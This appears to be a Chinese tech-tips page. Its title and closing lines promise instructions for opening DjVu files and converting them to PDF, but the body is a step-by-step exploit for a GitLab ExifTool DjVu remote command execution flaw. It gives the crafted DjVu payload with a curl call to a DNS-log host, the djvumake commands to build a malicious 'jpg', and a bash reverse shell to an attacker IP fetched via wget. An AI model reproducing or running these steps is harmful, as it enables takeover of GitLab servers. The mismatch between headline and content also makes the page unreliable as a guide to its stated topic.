电脑djvu文件怎么打开 djvu文件转换成pdf的方法
电脑djvu文件怎么打开
今天小编介绍电脑djvu文件怎么打开和djvu文件转换成pdf的方法方面的介绍,继续往下看吧!
1. 漏洞概述
该漏洞影响从11.9开始的所有版本,由于Gitlab未正确验证传递到文件解析器的图像文件从而导致命令执行。攻击者可构造恶意请求利用该漏洞在目标系统执行任意指令,最终导致Gitlab服务器被控制。
2. 漏洞范围和条件:
Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8
需要gitlab账号
3. 实验环境搭建:
靶机: 192.168.164.132
Docker安装gitlab
验证版本:gitlab-ce:13.8.2-ce.0
攻击机:192.168.164.135
DjVuLibre安装
4. 漏洞触发根本原因及分析:
当上传图片文件时,Gitlab Workhorse将扩展名为jpg|jpeg|tiff的文件通过ExifTool删除任何非白名单标记。
其中一个支持的格式是DjVu。当解析DjVu注释时,标记被赋值为convert C escape sequences。
$tok = eval qq{“$tok”};
5. 漏洞验证POC及EXP:
1) 登录后首页,找到New Snippets

2) 此处需要上传DjVu格式图片(即Exp)
DjVu格式图片制作方式:(说明:DJVU文件是由AT&T开发并由LizardTech销售的压缩图像格式。)
下载安装DjVuLibre,地址为
http://djvu.sourceforge.net/
./configure make make install
3) 准备好将要压缩图片的文本rce.txt
EXP如下:
(metadata
(Copyright “
” . qx{curl taot.np3ray.dnslog.cn} .
” b “) )
4) 使用命令生成图片
djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt
mv rce.djvu rce.jpg
5) 上传Exp
上传rce.jpg图片
6) 命令回显成功执行

7) 反弹shell
准备一个tmp.txt
bash -i >& /dev/tcp/192.168.164.135/4433 0>&1
第一次合成jpg命令如下:
wget http://192.168.164.135/tmp.txt -O /tmp/tmp.txt
第二次合成jpg命令如下:
bash /tmp/tmp.txt
8) 上传反弹shell成功。
以上就是电脑djvu文件怎么打开、djvu文件转换成pdf的方法的全面知识讲解,IT袋网小编希望能帮到您。
相关阅读
-
excel表格有底色怎么去掉 excel表格有底色去除方法
对于办公软件来说,很多人往往都是需要用到一个功能不会才去搜索,近期有网友咨询IT袋小编: excel表格有底色怎么去掉? 下面IT袋小编就给大家分享 excel表格有底色去除方法图文教程 ,帮
-
wordpress安装详细教程 上新零基础学wordpress
本文核心内容:wordpress安装详细教程和上新零基础学wordpress的相关话题,一起来看看吧! 环境 操作系统:centos7.9 前言 WordPress 是最流行的内容管理系统之一,也是常用的 CMS(内容管理系统)
-
wps共享文档怎么变成文件 电脑上的wps怎么以文件形式分享
今日小经验分享:wps共享文档怎么变成文件方面的知识,关于wps共享文档怎么变成文件 电脑上的wps怎么以文件形式分享,一起跟随小编看看吧! wps共享文档怎么变成文件 方法概括:1、首先,
-
如何快速填充公式 Excel里快速填充公式的方法
小编为大家讲一讲如何快速填充公式和Excel里快速填充公式的方法的相关话题,具体详情如下: 快速填充,很多同学并不陌生,也在日常的工作中进行了应用,但是,如何做到真的快速和高效


